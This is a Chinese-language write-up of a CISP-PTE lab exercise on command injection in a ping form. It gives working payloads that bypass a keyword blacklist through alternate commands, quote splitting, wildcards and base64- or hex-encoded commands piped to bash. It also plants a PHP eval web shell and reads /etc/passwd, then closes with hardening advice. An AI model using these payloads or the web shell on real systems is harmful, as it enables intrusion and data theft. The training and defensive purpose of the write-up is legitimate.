1. CISP-PTE命令执行漏洞实战解析
作为一名长期从事网络安全渗透测试的专业人员,我经常遇到各种命令执行漏洞的实战场景。今天要分享的是CISP-PTE靶场中一个典型的命令执行漏洞案例,这个案例不仅展示了常见的绕过技术,还揭示了黑名单过滤机制的固有缺陷。
在开始之前,我想强调一点:本文所有操作均在授权测试环境下进行,旨在帮助安全人员理解漏洞原理和防御方法。未经授权的渗透测试是违法行为,请务必遵守法律法规。
2. 靶场环境与初步侦查
2.1 靶场基本情况
靶场地址为一个模拟的Web应用,主要功能是通过ping命令验证主机存活状态。页面提示明确指出存在命令执行风险,并提示flag位于/var/www/html/key.php文件中。
提示:在实际渗透测试中,这种明确提示漏洞存在的情况很少见,通常需要更细致的侦查才能发现潜在风险点。
2.2 初始命令执行测试
首先尝试基本的命令注入,使用&符号分隔命令:
bash复制127.0.0.1 &ls
输出显示当前目录包含:
code复制footer.php fu1.php function.php index.php nav1.php
这个结果说明:
- 命令注入确实存在
- Web应用位于vulnerabilities子目录下
- 初步判断服务器运行的是Linux系统
2.3 目录结构探查
通过两种方式查看网站根目录:
bash复制127.0.0.1 &ls ..
127.0.0.1 &ls /var/www/html
两种方法都返回相同结果:
code复制css fonts footer.php index.php js key.php nav.php vulnerabilities
确认flag文件key.php确实位于网站根目录。这种多路径验证的方法在实际渗透中很实用,可以避免因路径假设错误而浪费时间。
3. 文件读取技术绕过
3.1 常规读取命令被过滤
尝试直接读取key.php文件:
bash复制127.0.0.1 &cat ../key.php
返回错误:"你输入的命令包含敏感字符!"
测试发现以下命令都被过滤:
- cat
- more
- less
这表明系统采用了黑名单机制过滤常见文件读取命令。
3.2 替代命令技术
3.2.1 使用nl命令
bash复制127.0.0.1 &nl ../key.php
成功返回文件内容。nl命令用于添加行号,不在黑名单中但同样可以读取文件内容。
3.2.2 使用awk命令
bash复制127.0.0.1;awk '{print}' ../key.php
awk是强大的文本处理工具,通过print动作可以完整输出文件内容。
3.2.3 使用sed命令
bash复制127.0.0.1;sed -n '1,$p' ../key.php
sed的-n选项配合打印(p)命令可以逐行输出整个文件。
经验分享:在实际渗透中,掌握各种文本处理工具的用法非常重要。我通常会准备一个替代命令清单,包括od、xxd等二进制查看工具。
3.3 字符混淆技术
3.3.1 单引号绕过
bash复制127.0.0.1; c''at ../key.php
Shell会将c''at解析为cat,因为空引号不影响最终命令。
3.3.2 双引号绕过
bash复制127.0.0.1; c""at ../key.php
原理与单引号相同,都是利用Shell的字符串连接特性。
3.3.3 特殊变量绕过
bash复制127.0.0.1; ca$@t ../key.php
$@在无参数时扩展为空字符串,最终解析为cat。
注意:这类绕过技术对简单的字符串匹配过滤很有效,但如果系统使用了更复杂的解析器或语法分析就可能失效。
4. 持久化访问技术
4.1 写入Web Shell
通过命令注入写入PHP后门:
bash复制127.0.0.1;echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php
这个操作有几个关键点:
- 使用echo -e确保特殊字符正确写入
- 选择可写目录(这里是当前目录)
- 使用简单的密码"ljn"(实际渗透中会更复杂)
4.2 连接Web Shell
使用蚁剑等工具连接:
code复制URL: http://靶场地址/vulnerabilities/mooyuan.php
密码: ljn
成功连接后,可以:
- 浏览文件系统
- 查看key.php内容
- 获取完整服务器权限
安全建议:在生产环境中,应严格限制Web目录的写权限,并定期检查可疑文件。
5. 代码审计与漏洞分析
5.1 主程序逻辑分析
fu1.php关键代码:
php复制$cmd = $_POST["cmd"];
if (filter($cmd) || filterip($cmd) || empty($cmd)) {
echo system("ping -c 1 $cmd");
}
漏洞成因:
- 直接将用户输入拼接进system()
- 过滤逻辑使用"||",只要任一条件为真就执行
- 合法IP地址会绕过命令过滤
5.2 过滤函数分析
function.php中的filter()函数:
php复制function filter($cmd) {
$cmdarrays = array("cat", "less", "more","tac","head","tail","od","mv","cp");
foreach ($cmdarrays as &$value ) {
if (stristr($cmd, $value)) {
return false;
}
}
return true;
}
黑名单的缺陷:
- 只包含9个常见命令
- 大小写不敏感(stristr)
- 没有过滤命令分隔符(; & |)
- 没有递归检查嵌套命令
5.3 安全加固建议
- 使用白名单替代黑名单
- 严格验证输入格式(如只允许IP地址)
- 使用escapeshellarg()处理参数
- 避免直接使用system()等危险函数
- 实施最小权限原则
6. 高级绕过技术扩展
6.1 命令拼接技术
bash复制# 反斜杠转义
127.0.0.1;c\at /etc/passwd
# 通配符替代
127.0.0.1;/???/c?t /etc/passwd
# 环境变量
127.0.0.1;$PATH=/usr/bin;cat /etc/passwd
6.2 编码混淆技术
bash复制# Base64编码
127.0.0.1;echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
# Hex编码
127.0.0.1;echo '636174202f6574632f706173737764' | xxd -r -p | bash
# Unicode编码
127.0.0.1;printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' | bash
6.3 时间延迟技术
当直接输出被禁用时,可以使用时间延迟来推断命令执行结果:
bash复制127.0.0.1;if [ $(grep -c root /etc/passwd) -gt 0 ]; then sleep 5; fi
7. 防御措施深度解析
7.1 输入验证策略
-
白名单验证:
- 只允许数字、点和空格(对ping命令)
- 使用正则表达式严格匹配IP格式
-
长度限制:
- 限制输入不超过15个字符(IP地址最大长度)
7.2 安全函数使用
PHP中更安全的替代方案:
php复制// 使用escapeshellarg()
system('ping -c 1 '.escapeshellarg($cmd));
// 更好的选择:使用特定程序库
$ping = new Net_Ping();
$ping->ping($cmd);
7.3 系统层防护
-
禁用危险函数:
- 在php.ini中设置disable_functions=system,exec,passthru...
-
使用SELinux/AppArmor:
- 限制Web服务器的权限
- 阻止对敏感目录的访问
-
日志监控:
- 记录所有命令执行操作
- 设置异常行为告警
8. 实战经验总结
在多年的渗透测试中,我总结了以下几点经验:
-
黑名单永远不完整:
- 总有未被考虑到的命令或变体
- 系统更新可能引入新的有用命令
-
上下文很重要:
- 在Web应用中,考虑应用程序的特定上下文
- 有时应用程序自身的功能可以被滥用
-
多层防御:
- 单一防御措施容易被绕过
- 应该实施输入验证、输出编码、最小权限等多重防护
-
持续学习:
- 新的绕过技术不断出现
- 需要定期更新防御策略
这个CISP-PTE靶场的案例虽然简单,但很好地展示了命令执行漏洞的核心原理和常见绕过技术。理解这些基础知识对于更复杂的实战环境至关重要。